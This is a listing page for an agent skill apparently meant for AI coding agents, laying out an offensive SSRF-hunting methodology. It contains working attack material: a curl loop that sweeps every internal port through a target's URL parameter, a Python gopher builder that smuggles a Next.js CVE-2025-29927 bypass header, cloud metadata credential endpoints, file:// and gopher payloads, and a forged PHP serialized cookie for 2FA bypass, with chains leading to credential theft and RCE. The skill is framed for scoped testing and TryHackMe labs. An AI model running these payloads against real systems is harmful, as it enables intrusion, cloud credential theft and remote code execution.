# Hunt Ssrf

> SSRF hunting - OOB-mandatory methodology. Cloud metadata, blind SSRF via Collaborator/interactsh, redirect-based bypass, headless browser chains. Wiki-first, FIND schema output.

- Skill: `encod3d-sec/hunt-ssrf` (Agent Skill)
- Install (CLI): `npx skillmds@latest add encod3d-sec/hunt-ssrf`
- Raw SKILL.md: https://api.skillmd.com/api/skills/encod3d-sec/hunt-ssrf/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: Encod3d-Sec (https://skillmd.com/u/encod3d-sec)
- Updated: 2026-09-21
- Page: https://skillmd.com/skills/encod3d-sec/hunt-ssrf

---


# Hunt: SSRF

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration
limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

## Wiki

```
qmd_query "SSRF server-side request forgery cloud metadata" via wiki-search MCP
```

Hub: [[web-moc]] (live web index). Primary page: [[wiki/payloads/ssrf]]. Payload arsenal: `wiki/payloads/ssrf.md`.
Bypass variants: [[dns-rebinding]] (hostname re-resolution TOCTOU past an allowlist),
[[open-redirect]] (chain a trusted redirect to an internal target).

## Confirmation gate
**Blind SSRF claims require OOB confirmation. No exceptions.**

NOT confirmation: URL echo in error message, different status code, delayed response alone.
IS confirmation: DNS lookup or HTTP request to your unique Collaborator/interactsh subdomain.

When you plant a blind/OOB SSRF payload, append a row to `targets/<eng>/oob.md`: `| <token> | <sink url+param> | ssrf | <date> | waiting | |` (columns: token | sink | class | planted | status | source, where token = your unique Collaborator/interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind SSRF without a HIT row.

Setup OOB before testing (full channel guide: wiki `oob-callbacks` - DNS-vs-HTTP, self-hosted interactsh, DNS exfil):
```bash
interactsh-client -v   # or use Burp Collaborator
# Tag each sink: dlsrcurl.<collab>, import.<collab>, webhook.<collab>
```

## Attack Surface Signals
URL patterns:
```
?url=  ?uri=  ?src=  ?source=  ?feed=  ?host=  ?target=  ?dest=
?redirect=  ?callback=  ?image=  ?fetch=  ?load=  ?endpoint=
/api/*/preview  /api/*/fetch  /api/*/import  /api/*/webhook  /api/*/render
```

High-value tech: Kubernetes (internal API), GCP/AWS/Azure (metadata), headless browsers (PDF/screenshot), link-preview features, file-import pipelines.

**Check SCHEME control EARLY (before grinding host/port bypasses).** If the sink concatenates your input
as a raw URL PREFIX with no hardcoded scheme (e.g. pycurl `setopt(URL, server + '/path')`, `requests.get(host+path)`;
tell: the default value has no `http://`, like `server=host:8087`), you control the scheme, not just the
host -> try `file:///etc/passwd` and `file:///<app-source>` for a straight **LFI**, and `gopher://` for
internal TCP. The moment `file://` reads a file, READ THE APP SOURCE FIRST - it reveals the real ports/
auth/next-steps faster than any probing, and on Flask `debug=True` a file-read computes the console PIN ->
RCE ([[werkzeug-debug-console-rce]]). Also: pointing the sink at your own listener leaks its outbound
request headers (API keys/tokens). See [[wiki/payloads/ssrf]] "Scheme-controllable SSRF -> file:// LFI".

## Once outbound is confirmed: ENUMERATE INTERNAL FIRST (do not skip)
An internal-only service is the usual SSRF objective and it is **invisible to your external nmap**,
so the SSRF is your only scanner. Before grinding cloud metadata or filter bypasses, sweep
`127.0.0.1` ports THROUGH the sink and fingerprint everything that answers:
```bash
export T=<target>
# non-empty / distinct body = open. Sweep the FULL range, threaded (-P 50). Under no_dos or a
# scan-rate cap in scope.md, probe the curated high-value port list in wiki/payloads/ssrf instead
# of blasting all 65535. This is service discovery, NOT object enumeration -- the hunt-core 5-20
# ceiling does not apply; the RoE cap does.
seq 1 65535 | xargs -P50 -I{} sh -c 'r=$(curl -s -m3 "http://$T/preview.php?url=http://127.0.0.1:{}/"); [ -n "$r" ] && echo "OPEN {} len=${#r}"'
```
- **Sweep wide.** "Common ports only" misses the box: THM Extract hid its objective (a Next.js app)
  on internal **:10000**. Threaded drop-in + curated high-value ports in [[wiki/payloads/ssrf]] payloads.
- **Fingerprint each internal service and run it through `playbook.json` / the matching hunt skill
  exactly as if it were external** (`<title>`, `Server` / `x-powered-by`, `/_next/static` ->
  Next.js -> CVE-2025-29927, `/solr`, `/actuator`, Jenkins, GitLab...). recon-capture only
  fingerprints EXTERNAL tool output, so an SSRF-discovered app will NOT auto-fire the playbook -
  you must apply it by hand. **This is exactly where internal CVEs get missed.**

## Gopher: send what `?url=` cannot
A plain `?url=` fetch issues a fixed `GET` with no control over method/headers/cookies/body. Many
internal exploits need precisely that control. `gopher://host:port/_<raw-bytes>` makes the sink open
a raw TCP socket and send arbitrary bytes - a full HTTP request you craft:
```python
import urllib.parse, subprocess
T="<target>"
def gopher(raw: bytes, port: int):                       # raw = the complete request you build
    sel=''.join('%%%02X'%b for b in raw)                 # percent-encode bytes -> gopher selector
    g='gopher://127.0.0.1:%d/_%s'%(port, sel)
    return subprocess.run(['curl','-s','-m','10',
        'http://%s/preview.php?url=%s'%(T, urllib.parse.quote(g, safe=''))],   # encode again for ?url=
        capture_output=True).stdout
req=b'GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nx-middleware-subrequest: middleware\r\nConnection: close\r\n\r\n'
```
Unlocks: **custom headers for header-based CVEs** (Next.js CVE-2025-29927 `x-middleware-subrequest`),
**HTTP Basic auth** (`Authorization: Basic`), **POST logins**, **forged cookies** (serialized-object
/ JWT swaps), and raw protocols (Redis / FastCGI / SMTP). Full `send(method,path,headers,cookie,body)`
builder in [[wiki/payloads/ssrf]] payloads. Gopher cannot read files - it is for TCP services, not `file://`.

## Methodology
1. Map all URL-input parameters across the target
2. Set up OOB listener, sub-tag per sink
3. Send callback URL as parameter value first - confirm server makes outbound connection
4. Test cloud metadata:
```bash
# AWS IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP (requires Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
```
5. Internal services: **sweep the FULL port range via the sink** (see "ENUMERATE INTERNAL FIRST"
   above), not just these known ones:
```bash
http://127.0.0.1:6443/api/v1/namespaces    # Kubernetes API
http://127.0.0.1:2379/v2/keys              # etcd
http://127.0.0.1:9200/                     # Elasticsearch
http://127.0.0.1:9090/                     # Prometheus
http://127.0.0.1:{3000,5000,8000,8080,8888,9000,10000}/   # app/admin ports - where the objective usually hides
```
6. Test redirect-based SSRF (host redirect server pointing to internal addresses)
7. Test headless browser contexts - inject `<script>fetch(...)` for PDF/screenshot endpoints
8. Chain: SSRF -> cloud creds -> account takeover; SSRF -> Redis/memcached -> RCE
9. **Distill when confirmed** (per hunt-core): reusable cloud bypass or SSRF chain, GENERIC, `python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/ssrf.md`.

## Lessons (THM Extract)
- The objective (a Next.js app) sat on internal **:10000**, reachable ONLY via the SSRF. A
  full-range internal sweep found it; a "common ports" pass did not. **Sweep wide, sweep early.**
- The win was a **header** (`x-middleware-subrequest`) a `?url=` GET can't set -> delivered over
  **gopher**. When a known CVE needs a specific header/method/cookie, reach for the gopher builder,
  not a fancier `?url=` value.
- An SSRF-reachable internal admin (localhost-only `/management`, Apache `Require ip`) **is in
  scope**: HTTP Basic auth, a POST login, and a **forged serialized-object cookie** (PHP
  `O:9:"AuthToken":...{validated;b:0}` -> flip to `b:1` = 2FA bypass) all rode the one gopher tunnel.
- **server-status / access-log read via SSRF echoes YOUR OWN requests** (gopher = `127.0.0.1`,
  direct hits = your VPN IP). Filter your source IPs before treating a repeated request as a victim
  cron - a phantom "cron" here was self-induced and burned time.
- File read stayed blocked (`file://` / `php://` / `data://` keyword-filtered, case-insensitive)
  and the chain needed none. Don't grind source disclosure the chain doesn't require.

## Severity

FIND output and Deadends format per hunt-core; rated on what the SSRF actually reached:

- **critical** - cloud metadata credentials retrieved (IMDS role creds).
- **high** - internal service access (admin panel, Redis/etcd/k8s API, an internal app).
- **medium** - DNS-only OOB, no internal read.

Class deadend line: `- [ ] SSRF on <host> param <param> -- zero OOB callbacks, URL echo only (server-side validation, not fetching)`. Exhaustion is ~38 payloads with zero callbacks.

